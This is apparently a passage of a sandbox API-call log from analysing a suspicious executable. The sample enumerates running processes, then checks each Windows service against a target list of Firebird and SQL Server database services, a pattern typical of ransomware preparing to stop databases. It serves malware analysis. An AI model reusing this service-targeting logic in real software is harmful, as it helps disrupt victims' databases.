th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.471] lstrlenW (lpString="svchost.exe") returned 11 [0168.471] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0168.471] lstrlenW (lpString="audiodg.exe") returned 11 [0168.471] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0168.472] lstrlenW (lpString="sihost.exe") returned 10 [0168.472] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.472] lstrlenW (lpString="svchost.exe") returned 11 [0168.472] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0168.473] lstrlenW (lpString="taskhostw.exe") returned 13 [0168.473] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0168.474] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0168.474] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0168.474] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0168.474] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0168.475] lstrlenW (lpString="Memory Compression") returned 18 [0168.475] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0168.476] lstrlenW (lpString="explorer.exe") returned 12 [0168.476] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0168.476] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0168.476] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0168.477] lstrlenW (lpString="SearchUI.exe") returned 12 [0168.477] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0168.489] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0168.489] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0168.490] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0168.490] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0168.491] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0168.491] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0168.491] lstrlenW (lpString="cmd.exe") returned 7 [0168.491] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0168.492] lstrlenW (lpString="conhost.exe") returned 11 [0168.492] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0168.492] lstrlenW (lpString="consent.exe") returned 11 [0168.493] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0168.493] CloseHandle (hObject=0x53c) returned 1 [0168.493] Sleep (dwMilliseconds=0x1f4) [0169.006] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408dc68 [0169.007] EnumServicesStatusExW (in: hSCManager=0x408dc68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0169.007] GetLastError () returned 0xea [0169.007] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4181fb8 [0169.007] EnumServicesStatusExW (in: hSCManager=0x408dc68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4181fb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4181fb8, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0169.008] CloseServiceHandle (hSCObject=0x408dc68) returned 1 [0169.009] lstrlenW (lpString="Appinfo") returned 7 [0169.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0169.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0169.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0169.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0169.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0169.009] lstrlenW (lpString="AppXSvc") returned 7 [0169.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0169.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0169.009] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0169.009] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0169.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0169.009] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0169.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0169.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0169.009] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0169.009] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0169.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0169.009] lstrlenW (lpString="Audiosrv") returned 8 [0169.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0169.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0169.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0169.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0169.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0169.009] lstrlenW (lpString="BFE") returned 3 [0169.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0169.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0169.009] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0169.009] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0169.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0169.010] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0169.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0169.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0169.010] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0169.010] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0169.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0169.010] lstrlenW (lpString="CDPSvc") returned 6 [0169.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0169.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0169.010] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0169.010] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0169.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0169.010] lstrlenW (lpString="ClickToRunSvc") returned 13 [0169.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0169.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0169.010] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0169.010] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0169.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0169.010] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0169.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0169.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0169.010] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0169.010] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0169.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0169.010] lstrlenW (lpString="CryptSvc") returned 8 [0169.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0169.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0169.010] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0169.010] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0169.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0169.010] lstrlenW (lpString="DcomLaunch") returned 10 [0169.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0169.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0169.011] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0169.011] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0169.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0169.011] lstrlenW (lpString="DeviceAssociationService") returned 24 [0169.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0169.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0169.011] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0169.011] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0169.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0169.011] lstrlenW (lpString="Dhcp") returned 4 [0169.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0169.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0169.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0169.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0169.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0169.011] lstrlenW (lpString="Dnscache") returned 8 [0169.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0169.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0169.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0169.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0169.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0169.011] lstrlenW (lpString="DPS") returned 3 [0169.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0169.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0169.011] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0169.011] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0169.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0169.011] lstrlenW (lpString="DusmSvc") returned 7 [0169.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0169.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0169.011] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0169.011] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0169.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0169.012] lstrlenW (lpString="EventLog") returned 8 [0169.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0169.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0169.012] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0169.012] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0169.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0169.012] lstrlenW (lpString="EventSystem") returned 11 [0169.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0169.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0169.012] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0169.012] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0169.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0169.012] lstrlenW (lpString="FontCache") returned 9 [0169.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0169.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0169.012] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0169.012] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0169.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0169.012] lstrlenW (lpString="gpsvc") returned 5 [0169.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0169.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0169.012] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0169.012] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0169.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0169.012] lstrlenW (lpString="iphlpsvc") returned 8 [0169.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0169.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0169.012] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0169.012] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0169.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0169.012] lstrlenW (lpString="KeyIso") returned 6 [0169.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0169.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0169.013] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0169.013] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0169.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0169.013] lstrlenW (lpString="LanmanServer") returned 12 [0169.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0169.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0169.013] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0169.013] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0169.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0169.013] lstrlenW (lpString="LanmanWorkstation") returned 17 [0169.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0169.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0169.013] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0169.013] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0169.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0169.013] lstrlenW (lpString="lfsvc") returned 5 [0169.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0169.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0169.013] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0169.013] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0169.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0169.013] lstrlenW (lpString="lmhosts") returned 7 [0169.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0169.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0169.013] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0169.013] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0169.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0169.013] lstrlenW (lpString="LSM") returned 3 [0169.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0169.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0169.013] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0169.013] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0169.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0169.014] lstrlenW (lpString="MpsSvc") returned 6 [0169.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0169.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0169.014] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0169.014] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0169.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0169.014] lstrlenW (lpString="NcbService") returned 10 [0169.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0169.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0169.014] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0169.014] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0169.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0169.014] lstrlenW (lpString="netprofm") returned 8 [0169.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0169.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0169.014] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0169.014] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0169.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0169.014] lstrlenW (lpString="NgcSvc") returned 6 [0169.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0169.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0169.014] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0169.014] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0169.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0169.014] lstrlenW (lpString="NlaSvc") returned 6 [0169.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0169.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0169.014] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0169.014] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0169.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0169.014] lstrlenW (lpString="nsi") returned 3 [0169.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0169.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0169.014] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0169.015] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0169.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0169.015] lstrlenW (lpString="PcaSvc") returned 6 [0169.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0169.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0169.015] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0169.015] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0169.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0169.015] lstrlenW (lpString="PlugPlay") returned 8 [0169.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0169.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0169.015] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0169.015] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0169.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0169.015] lstrlenW (lpString="Power") returned 5 [0169.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0169.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0169.015] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0169.015] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0169.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0169.015] lstrlenW (lpString="ProfSvc") returned 7 [0169.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0169.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0169.015] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0169.015] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0169.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0169.015] lstrlenW (lpString="RpcEptMapper") returned 12 [0169.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.015] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0169.015] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0169.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0169.015] lstrlenW (lpString="RpcSs") returned 5 [0169.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0169.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0169.016] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0169.016] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0169.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0169.016] lstrlenW (lpString="SamSs") returned 5 [0169.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 